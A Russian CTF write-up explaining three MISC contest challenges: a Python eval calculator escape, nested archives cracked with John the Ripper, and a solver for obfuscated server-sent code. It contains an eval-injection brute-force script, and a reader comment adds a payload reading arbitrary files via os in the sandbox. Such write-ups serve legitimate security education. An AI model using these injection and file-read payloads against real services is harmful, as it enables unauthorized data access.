CTFzone write-ups — MISC it all up
Друзья, по сложившейся за последний месяц традиции мы предлагаем вам начать новую неделю с нового райтапа. В этом посте мы подробно разберем задания из направления MISC, куда вошли все задания, не подходящие ни под какую другую категорию. Тут был нужен особенный креатив ;)
Ветка MISC нашла отклик в душе наших игроков — за время соревнований мы получили около 300 флагов. Заметим, что из всех тасков на 1000, задание из этой категории было наиболее популярным — над ним ломали голову многие, но успеха достигли всего несколько человек. Поэтому мы решили пропустить задания на 50 и 100 очков и сразу перейти к более сложным и интересным заданиям. Поехали!
MISC_300. Lithium|Beta
A.U. R.O.R. A.: Lieutenant Friend, seems like this computer is frozen and we don«t have time to fix it. So from now on we have only this calculator interface (nc). I have to admit that your predecessor Lieutenant Petr was a very lazy developer (no idea how he managed to get on this ship) and he failed to complete Compiler Design course. So he wrote calculator in the easiest way using the simplest tools. I know that it«s quite complicated but you have to hurry, we haven«t got much time!
Решение:
Запускаем программу и видим, что это обычный калькулятор.
Как следует из легенды, эту программу писал ленивый разработчик. Скорее всего, это свидетельствует о том, что вместо парсинга математических выражений используется простой eval.
Как видно на скриншоте, есть вывод названий ошибок, но без трейсов:
Судя по ошибкам, в ответ отдается результат, приведенный к типу float. Если результат привести нельзя, то возникает ValueError. Если нет такой функции, то NameError.
Попробуем выяснить список доступных функций методом перебора.
При этом все попытки использовать underscore, например, class, не работают из-за HackingAttempt.
Но, используя ord и str, можно вычислить любую переменную, например, результат dir, который возвращает список всех доступных имен в окружении.
Код бруттера:
#!/usr/bin/python2
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("95.85.41.197", 8888))
print s.recv(1024)
result = ''
for i in range(0, 300):
request = "ord(str(dir())[%d])" % i
# request = "ord(verysecretflag[%d])" % i
s.send(request)
response = s.recv(32)
if 'Err' in response or 'occurred' in response:
result += '_'
else:
result += chr(int(response.split(': ')[1].split('.')[0]))
print result
В результате перебора получается следующий список:
['HackingAttempt', '__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', 'e', 'f', 'inp', 'print1337', 're', 'regex', 'sys', 'verysecretflag']
Флаг лежит в переменной verysecretflag. Print, он переименован в print1337
Чтобы получить ответ, следует сделать вот так:
Вот и наш флаг!
Ответ: ctfzone{123456}
MISC_500. Archive maniac
A.U. R.O.R. A.: Oh God! Lieutenant, I need you here on the ship control station. Autopilot is broken and we need a secret code to switch to manual control. Only our pilot Chekhov knows it and he is dead drunk, so you have to figure it out. I noticed that he was concerned about storage efficiency and confidentiality. And he also preferred number 32 to 64 with no obvious reason.
Решение:
В этом задании участнику предлагается найти секретный код, однако сложность заключается в том, что этот ключ зашифрован. К сожалению, тот, кто обладает информацией, в ближайшие сутки ничего вразумительного сказать не сможет… Мы знаем, что он старался обеспечить надежное хранение и конфиденциальность, а также почему-то и предпочитал число 32 вместо 64. Попробуем разобраться.
Для начала посмотрим на наши исходные данные. В самом задании дается ссылка на архив arch.tar.gz, в котором содержатся следующие файлы:
[briskly@archlinux tmp]$ tar -xvf arch.tar.gz
archive/
archive/flag3.png
archive/flag9.png
archive/flag7.png
archive/flag6.png
archive/flag2.png
archive/flag4.png
archive/flag5.png
archive/flag0.png
archive/flag1.png
archive/flag8.png
archive/.gitkeep
[briskly@archlinux tmp]$ file archive/*
archive/flag0.png: cpio archive
archive/flag1.png: bzip2 compressed data, block size = 900k
archive/flag2.png: bzip2 compressed data, block size = 900k
archive/flag3.png: compress'd data 16 bits
archive/flag4.png: LRZIP compressed data - version 0.6
archive/flag5.png: rzip compressed data - version 2.1 (370344 bytes)
archive/flag6.png: compress'd data 16 bits
archive/flag7.png: Zip archive data
archive/flag8.png: ARJ archive data, v11, slash-switched, original name: , os: Unix
archive/flag9.png: cpio archive
Похоже, что в архиве 10 файлов с расширением .png, но при этом каждый файл является архивом. Судя по листингу файлов, архивы очень разные. Пришло время учиться пользоваться экзотикой.
Пожалуй, начнем:
[briskly@archlinux archive]$ bzip2 -d flag1.png
bzip2: Can't guess original name for flag1.png -- using flag1.png.out
[briskly@archlinux archive]$ file flag1.png.out
flag1.png.out: LRZIP compressed data - version 0.6
Похоже, что в этих архивах находятся другие архивы. Пробуем расшифровать zip файл. 7z сразу попросил пароль:
[briskly@archlinux archive]$ 7z x flag7.png
7-Zip [64] 16.02: Copyright (c) 1999-2016 Igor Pavlov: 2016-05-21
p7zip Version 16.02 (locale=ru_RU.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel(R) Core(TM) i7-6600U CPU @ 2.60GHz (406E3),ASM,AES-NI)
Scanning the drive for archives:
1 file, 385755 bytes (377 KiB)
Extracting archive: flag7.png
--
Path = flag7.png
Type = zip
Physical Size = 385755
Enter password (will not be echoed):
В данном случае стоит автоматизировать процесс извлечения из архива, поскольку их очень много:
#!/bin/bash
FILE="$1"
FLAG="flag.png"
TMP_DIR="PNGs"
# Dirty:
[ ! -d "./$TMP_DIR" ] && mkdir "$TMP_DIR" && echo -e "\n [+] Creating temp folder: $TMP_DIR."
[ ! -f "./$FLAG" ] && cp $FILE flag.png && echo -e " [+] Creating temp file: $FLAG.\n"
deArch () {
CHECK=`file "$FLAG"`
if [[ $CHECK == *"rzip compressed data"* ]]
then
echo -e " [*] Now $FLAG is RZIP data (.rz)\n [+] Extracting $FLAG\n"
mv flag.png{,.rz}
runzip -d flag.png.rz
#rm flag.png.rz
sleep 1
deArch
elif [[ $CHECK == *"LRZIP compressed data"* ]]
then
echo -e " [*] Now $FLAG is LRZIP archive (.lrz)\n [+] Extracting $FLAG\n"
mv flag.png{,.lrz}
lrunzip flag.png.lrz > /dev/null
rm flag.png.lrz
sleep 1
deArch
elif [[ $CHECK == *"bzip2 compressed data"* ]]
then
echo -e " [*] Now $FLAG is BZIP file (.bz2)\n [+] Extracting $FLAG\n"
mv flag.png{,.bz2}
bzip2 -d flag.png.bz2 #> /dev/null
sleep 1
deArch
elif [[ $CHECK == *"compress'd data 16 bits"* ]]
then
echo -e " [*] Now $FLAG is unix compressed file (.z)\n [+] Extracting $FLAG\n"
mv flag.png{,.z}
uncompress flag.png.z
sleep 1
deArch
elif [[ $CHECK == *"7-zip archive data"* ]]
then
echo -e " [*] Now $FLAG is 7-ZIP archive (.7z)\n [+] Extracting $FLAG\n"
mv flag.png{,.7z}
7z x flag.png.7z > /dev/null
rm flag.png.7z
sleep 1
deArch
elif [[ $CHECK == *"ARJ archive data, v11, slash-switched"* ]]
then
echo -e " [*] Now $FLAG is ARJ archive (.arj)\n [+] Extracting $FLAG\n"
mv flag.png{,.arj}
arj x flag.png.arj > /dev/null
rm flag.png.arj
sleep 1
deArch
elif [[ $CHECK == *"cpio archive"* ]]
then
echo -e " [*] Now $FLAG is CPIO archive (.cpio)\n [+] Extracting $FLAG\n"
mv flag.png{,.cpio}
cpio -idv < flag.png.cpio 2> /dev/null
rm flag.png.cpio
sleep 1
deArch
elif [[ $CHECK == *"current ar archive"* ]]
then
echo -e " [*] Now $FLAG is AR archive (.a)\n [+] Extracting $FLAG\n"
mv flag.png{,.a}
ar x flag.png.a
rm flag.png.a
sleep 1
deArch
elif [[ $CHECK == *"Zip archive data"* ]]
then
echo -e " [*] Now $FLAG is zip archive (.zip)\n [+] Extracting $FLAG\n"
mv flag.png{,.zip}
#mv flag.png{,.7z}
ENC_CHCK=`7z l -slt -- flag.png.zip | grep -ic "Encrypted = +"`
if [ "$ENC_CHCK" -eq "1" ]
then
#exit 1
echo " [!] PASSWORD pretocted archive"
zip2john flag.png.zip | awk -F: '{print $2}' > hash.lst
rm -rf /root/.john/john.*
#ZIP_PASS=`john hash.lst 2>&1 > /dev/null | awk '/\(\?\)/ {print $1}'`
ZIP_PASS=`john hash.lst --wordlist=/usr/share/wordlists/rockyou.txt 2>&1 | awk '/\(\?\)/ {print $1}'`
if [[ -z "$ZIP_PASS" ]]
then
#echo -e "$ZIP_PASS"
echo -e " [-] Your pass was not found, please, try it manually..."
else
echo -e " [+] Voila! Your pass is: \e[1;33m$ZIP_PASS\e[0;0m, extracting an archive...\n"
7z x -p"$ZIP_PASS" flag.png.zip > /dev/null
rm flag.png.zip
sleep 1
deArch
fi
else
7z x flag.png.zip
sleep 1
deArch
fi
#sleep 1
#deArch
elif [[ $CHECK == *"PNG image data"* ]]
then
echo -e " [\e[1;32m*\e[0;0m] Now $FLAG is PNG image file !!!\n [\e[1;32m+\e[0;0m] Open this: ./$TMP_DIR/$FILE\n"
sleep 1
#eog flag.png 2> /dev/null
mv $FLAG $TMP_DIR/$FILE
exit 0
else
echo -e "\n [-] Hernya! $CHECK"
fi
}
deArch
Результат работы скрипта:
bash deArch.sh flag4.png
[+] Creating temp folder: PNGs.
[+] Creating temp file: flag.png.
[*] Now flag.png is ARJ archive (.arj)
[+] Extracting flag.png
[*] Now flag.png is zip archive (.zip)
[+] Extracting flag.png
[!] PASSWORD pretocted archive
[+] Voila! Your pass is: love123, extracting an archive...
[*] Now flag.png is unix compressed file (.z)
[+] Extracting flag.png
[*] Now flag.png is AR archive (.a)
[+] Extracting flag.png
[*] Now flag.png is BZIP file (.bz2)
[+] Extracting flag.png
[*] Now flag.png is CPIO archive (.cpio)
[+] Extracting flag.png
[*] Now flag.png is RZIP data (.rz)
[+] Extracting flag.png
[*] Now flag.png is 7-ZIP archive (.7z)
[+] Extracting flag.png
[*] Now flag.png is LRZIP archive (.lrz)
[+] Extracting flag.png
[*] Now flag.png is PNG image file !!!
[+] Open this: ./PNGs/flag4.png
В результате из файла вытаскивается flag4.png
Итак, получена картинка! Посмотрим, что внутри — может быть, там есть стеганография?
Для этого запустим Stegsolve, и, изменив некоторые настройки, получим что-то вполне разборчивое:
Судя по знакам =, это похоже на base64. Но все буквы заглавные (uppercase). Вспомним легенду, где сказано, что тот человек, который обладал знаниями, предпочитал число 32. Попробуем base32, в результате чего получаем TPAU’XAPDEP.
Выполняем те же действия по отношению к остальным файлам.
В итоге получаем следующее:
thisnotaflag
thisisflag,joke
noflaghere
noo000000op
CTFZONE{5dbb39d62d31b1c
notflagagain
flagwashere
025f3b0e3a987d375}part2
kakoyflag?
TPAU'XAPDEP
Вот и наш флаг!
Ответ: ctfzone{5dbb39d62d31b1c025f3b0e3a987d375}part2
MISC_1000. Molibden|Gamma
A.U. R.O.R. A.: Lieutenant, you«ve got to the command center. It«s time to go home and join our comrades! Wait, something is wrong with the systems. Some basic libraries are lost. Computer can’t find the route. You need to help computer make some simple calculations. Quick, we are almost there!
Решение:
Итак, мы практически у цели! Чтобы получить управление кораблем, необходимо исправить ошибку в системе.
Итак, запускаем программу. Пример работы программы мы видим на скриншоте.
Из легенды понятно, что нам нужно интерпретировать код, который присылает сервер. Для получения решения придется показать свои навыки программирования.
Так как код написан на Python, то первое очевидное решение — это сделать exec и отправить его результат обратно. Код будет выглядеть следующим образом:
from socket import create_connection
from time import time
sock = create_connection(("95.85.41.197", 8887))
for i in range(10):
res = None
code = sock.recv(102400)
code = code.decode()
code = "\n".join(code.split("\n")[:-2])
if "gone wrong" in code:
print(code)
exit(0)
start = time()
l = res = None
print(code)
exec(code)
res = res or l
print(time() - start)
code = None
res = str(res).encode()
try:
sock.send(res + b"\n")
except Exception:
print(sock.recv(102400))
print(sock.recv(102400))
print(sock.recv(102400))
break
После этого приходит код со sleep, который тормозит исполнение:
from time import sleep
k = 96
s = 36
c = 98
mas = []
for i in range(c):
sleep(0.1)
mas.append(s)
s += k
res = 0
for el in mas:
sleep(0.1)
res += el
print(res)
Эта проблема решается просто вырезанием sleep по регулярке. Например, вот так:
code = code.replace("sleep(0.1)", "")
Следующее усложнение заключается в том, что sleep переименовывается при импорте:
from time import sleep as JecYvyk
В данном случае можно написать регулярку или просто сделать replace:
code = code.replace("sleep", "gmtime")
В следующий раз решение останавливается на шаге с кодом, в котором используются большие числа:
from time import gmtime as rluVx
k = 82194181
s = 55474764
c = 54888629
mas = []
for i in range(c):
rluVx(2*0.01)
mas.append(s)
s += k
res = 0
for el in mas:
rluVx(2*0.01)
res += el
print(res)
На данном этапе программа не выполняется по двум причинам — либо заканчивается память, либо сервер выдает ошибку:
Something gone wrong: TimeoutError
Очевидно, что просто решить данную задачу не получится, придется разбираться в коде. При первой оценке кода можно заметить, что это очень похоже на сумму арифметической прогрессии.
Так как функция написана действительно неэффективно, то вместо обычного подсчета линейной формулой, формируется массив со всеми элементами арифметической прогрессии, а потом складывается. Напишем эту формулу:
def solve(k, s, c):
return str((2*s + k*(c-1))*c//2)
Выглядит она довольно просто.
Следующая проблема заключается в том, что перестает успевать выполняться код:
from time import sleep as Rkyv
from random import shuffle
l = [5984807, 6299947, 10119240, 13578507, 14224900, 15238270, 15513380, 16429758]
while True:
Rkyv(0o10*0.01)
shuffle(l)
prev = None
is_sorted = True
for el in l:
Rkyv(0o10*0.01)
if prev is None:
prev = el
elif prev >= el:
is_sorted = False
break
prev = el
if is_sorted:
break
print(l)
Придется разобраться и с этой задачей. Очень похоже на monkey_sort, но, судя по всему, этот код выполнить невозможно. Перепишем на обычный sort, который предоставляет нам Python. Но и этого оказывается недостаточно.
В результате наступает момент, когда обычный exec перестает успевать считать 'страшный' обфусцированный код:
from time import sleep as EB
s = b'Vt\xe9\xe9\xed\x05J\xdaEQ'
def func3(s):
def func1(OOOOOOOOO0000OOO0 ):
""
PI_SUBST =[41 ,46 ,67 ,201 ,162 ,216 ,124 ,1 ,61 ,54 ,84 ,161 ,236 ,240 ,6 ,19 ,98 ,167 ,5 ,243 ,192 ,199 ,115 ,140 ,152 ,147 ,43 ,217 ,188 ,76 ,130 ,202 ,30 ,155 ,87 ,60 ,253 ,212 ,224 ,22 ,103 ,66 ,111 ,24 ,138 ,23 ,229 ,18 ,190 ,78 ,196 ,214 ,218 ,158 ,222 ,73 ,160 ,251 ,245 ,142 ,187 ,47 ,238 ,122 ,169 ,104 ,121 ,145 ,21 ,178 ,7 ,63 ,148 ,194 ,16 ,137 ,11 ,34 ,95 ,33 ,128 ,127 ,93 ,154 ,90 ,144 ,50 ,39 ,53 ,62 ,204 ,231 ,191 ,247 ,151 ,3 ,255 ,25 ,48 ,179 ,72 ,165 ,181 ,209 ,215 ,94 ,146 ,42 ,172 ,86 ,170 ,198 ,79 ,184 ,56 ,210 ,150 ,164 ,125 ,182 ,118 ,252 ,107 ,226 ,156 ,116 ,4 ,241 ,69 ,157 ,112 ,89 ,100 ,113 ,135 ,32 ,134 ,91 ,207 ,101 ,230 ,45 ,168 ,2 ,27 ,96 ,37 ,173 ,174 ,176 ,185 ,246 ,28 ,70 ,97 ,105 ,52 ,64 ,126 ,15 ,85 ,71 ,163 ,35 ,221 ,81 ,175 ,58 ,195 ,92 ,249 ,206 ,186 ,197 ,234 ,38 ,44 ,83 ,13 ,110 ,133 ,40 ,132 ,9 ,211 ,223 ,205 ,244 ,65 ,129 ,77 ,82 ,106 ,220 ,55 ,200 ,108 ,193 ,171 ,250 ,36 ,225 ,123 ,8 ,12 ,189 ,177 ,74 ,120 ,136 ,149 ,139 ,227 ,99 ,232 ,109 ,233 ,203 ,213 ,254 ,59 ,0 ,29 ,57 ,242 ,239 ,183 ,14 ,102 ,88 ,208 ,228 ,166 ,119 ,114 ,248 ,235 ,117 ,75 ,10 ,49 ,68 ,80 ,180 ,143 ,237 ,31 ,26 ,219 ,153 ,141 ,51 ,159 ,17 ,131 ,20 ]
O00OOOO0OOOO00000 =OOOOOOOOO0000OOO0
OO00OO000OO0OO000 =len (O00OOOO0OOOO00000 )
O00OOOO0OOOO00000 +=chr (16 -(OO00OO000OO0OO000 %16 )).encode ("utf-8")*(16 -(OO00OO000OO0OO000 %16 ))
O00OOOO0O0OOO00O0 =O00OOOO0OOOO00000
OO00OO000OO0OO000 =len (O00OOOO0OOOO00000 )
OOOOO0O0000000OO0 =bytearray (b"\x00"*16 )
OO0O0O000OOOO0O0O =0
for O0OOO0OO000OO00O0 in range (OO00OO000OO0OO000 //16 ):
EB(0x3*0.01)
for OO00O00OOO000OO00 in range (16 ):
EB(0x3*0.01)
O0O0OOOO000O0OO0O =O00OOOO0O0OOO00O0 [O0OOO0OO000OO00O0 *16 +OO00O00OOO000OO00 ]
OOOOO0O0000000OO0 [OO00O00OOO000OO00 ]=OOOOO0O0000000OO0 [OO00O00OOO000OO00 ]^PI_SUBST [O0O0OOOO000O0OO0O ^OO0O0O000OOOO0O0O ]
OO0O0O000OOOO0O0O =OOOOO0O0000000OO0 [OO00O00OOO000OO00 ]
OO0OOO00OOO00000O =O00OOOO0O0OOO00O0 +OOOOO0O0000000OO0
OO00OO000OO0OO000 +=16
OOO00O00O0O0O0OO0 =bytearray ([0 ])*48
for O0OOO0OO000OO00O0 in range (OO00OO000OO0OO000 //16 ):
for OO00O00OOO000OO00 in range (16 ):
EB(0x3*0.01)
OOO00O00O0O0O0OO0 [16 +OO00O00OOO000OO00 ]=OO0OOO00OOO00000O [O0OOO0OO000OO00O0 *16 +OO00O00OOO000OO00 ]
OOO00O00O0O0O0OO0 [32 +OO00O00OOO000OO00 ]=OOO00O00O0O0O0OO0 [16 +OO00O00OOO000OO00 ]^OOO00O00O0O0O0OO0 [OO00O00OOO000OO00 ]
OOOO0O0OO000000OO =0
for OO00O00OOO000OO00 in range (18 ):
EB(0x3*0.01)
for OOOO00O00OOO0OOOO in range (48 ):
EB(0x3*0.01)
OOOO0O0OO000000OO =OOO00O00O0O0O0OO0 [OOOO00O00OOO0OOOO ]=OOO00O00O0O0O0OO0 [OOOO00O00OOO0OOOO ]^PI_SUBST [OOOO0O0OO000000OO ]
OOOO0O0OO000000OO =(OOOO0O0OO000000OO +OO00O00OOO000OO00 )%256
return bytes (OOO00O00O0O0O0OO0 [:16 ])
OO0OOOO00OO0O0O0O = b'Vt\xe9\xe9\xed\x05J\xdaEQ'
def func2(OO0OOOO00OO0O0O0O):
O00O00OO000OOO00O ='0123456789abcdef'
return b''.join(map(lambda x: x.encode(), map(lambda O00O0OO0O0OOOO0O0 :O00O00OO000OOO00O [(O00O0OO0O0OOOO0O0 >>4 )&0xf ]+O00O00OO000OOO00O [O00O0OO0O0OOOO0O0 &0xf ],func1 (OO0OOOO00OO0O0O0O ))))
for i in range(100):
OO0OOOO00OO0O0O0O = func2(OO0OOOO00OO0O0O0O)
return OO0OOOO00OO0O0O0O.decode()
#print(''.join (map (lambda O00O0OO0O0OOOO0O0 :O00O00OO000OOO00O [(O00O0OO0O0OOOO0O0 >>4 )&0xf ]+O00O00OO000OOO00O [O00O0OO0O0OOOO0O0 &0xf ],func1 (OO0OOOO00OO0O0O0O ))))
res = func3(s)
print(res)
В ходе небольшой деобфускации становится понятно, что скорее всего это какая-то хеш функция, которая последовательно применяется 100 раз. Далее пройти можно двумя способами: либо просто переписать данную функцию на чем-то более быстром (например, C++), либо попробовать поискать таблицу замен, которая захардкожена в коде.
Попробуем погуглить:
Достаточно легко догадаться, что это md2. В PYCRYPTO есть быстрая реализация этой функции:
from Crypto.Hash import MD2
def solve(inp):
for i in range(params.get("count")):
h = MD2.new()
h.update(inp)
inp = h.hexdigest()
return inp
Результирующий код solver:
import re
import json
from socket import create_connection
from solves import md2
from solves import arifmetic
from time import time
sock = create_connection(("95.85.41.197", 8887))
r1 = re.compile(r"l = (\[.*\])")
r21 = re.compile(r"OO0OOOO00OO0O0O0O = (b('|\").*('|\"))\n")
r22 = re.compile(r" for i in range\((\d+)\):")
r3 = re.compile(r".*k = (?P\d+)\ns = (?P\d+)\nc = (?P\d+).*")
def solve1(code):
reverse = True
if ">" in code:
reverse = False
code = code.split("while True:")[0]
lst = r1.findall(code)[0]
lst = json.loads(lst)
lst.sort(reverse=reverse)
return lst
def solve2(code):
data = eval((r21.findall(code))[0][0])
count = int(r22.findall(code)[0])
res = md2.solve({"string": data, "count": count})
return res
def solve3(code):
for m in r3.finditer(code):
print (arifmetic.solve({k: int(v) for k, v in m.groupdict().items()}))
return arifmetic.solve({k: int(v) for k, v in m.groupdict().items()})
while True:
res = None
code = sock.recv(102400)
code = code.decode()
code = "\n".join(code.split("\n")[:-2])
code = code.replace("sleep(0.1)", "")
if "gone wrong" in code:
print(code)
exit(0)
start = time()
if "shuffle" in code:
res = solve1(code)
elif "OO0OOOO00OO0O0O0O" in code:
res = solve2(code)
elif "mas.append" in code:
res = solve3(code)
else:
print("EXECING")
print(code)
exec(code)
print(sock.recv(102400))
print(sock.recv(102400))
print(sock.recv(102400))
print(sock.recv(102400))
exit(0)
print(time()-start)
code = None
res = str(res).encode()
try:
sock.send(res + b"\n")
except Exception:
print(sock.recv(102400))
print(sock.recv(102400))
break
В результате получаем долгожданный флаг!
Ответ: ctfzone{YouRealyHaveSoMuchTime?}
Кстати, по вашим многочисленным просьбам мы выложили оффлайн задания — теперь поиграться с райтапами можно на этом портале. Но не забывайте про наши задания по хайрингу, они будут доступны еще 10 дней до 15.12 — время еще есть!
Если у вас остались какие-то вопросы — оставляйте комментарии и пишите в наш чат в Telegram. Ничего так не вдохновляет, как ваша активность :)
Всем добра и удачи!
Комментарии (2)
5 декабря 2016 в 17:56
0↑
↓
Чего-то misc-1000 вообще жутким оказался
Кстати, в misc-300 можно было получить полноценный шел, чтение например могло выглядеть так:
int(''.join(['{:02x}'.format(ord(c)) for c in str(sys.modules['os'].read(sys.modules['os'].open('flag.txt',0), 1024) + )[i]]), 16)
Где вместо flag.txt — нужный файл, а i — интересующий блок
Кто в итоге так делал, мог найти псевдофлаг с рикроллом в flag.txt
5 декабря 2016 в 17:56
0↑
↓
echo -e "\n [-] Hernya! $CHECK"
Т.е. был вариант, что решение найти не удастся